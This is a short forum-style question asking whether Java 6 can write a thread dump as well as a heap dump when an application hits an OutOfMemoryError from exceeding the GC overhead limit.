    does java 6 generate thread dump in addition to heap dump (java_pid14941.hprof) this is what happened to one of my applications. java.lang.OutOfMemoryError: GC overhead limit exceeded Dumping heap to java_pid14941.hprof ... I did find ava_pid14941.hprof in working directory, but didn't find any file which contains thread dump. I need to know what all the threads were doing when I got this OutOfMemory error. Is there any configuration option which will generate thread dump in addition to heap dump on out of memory exception?

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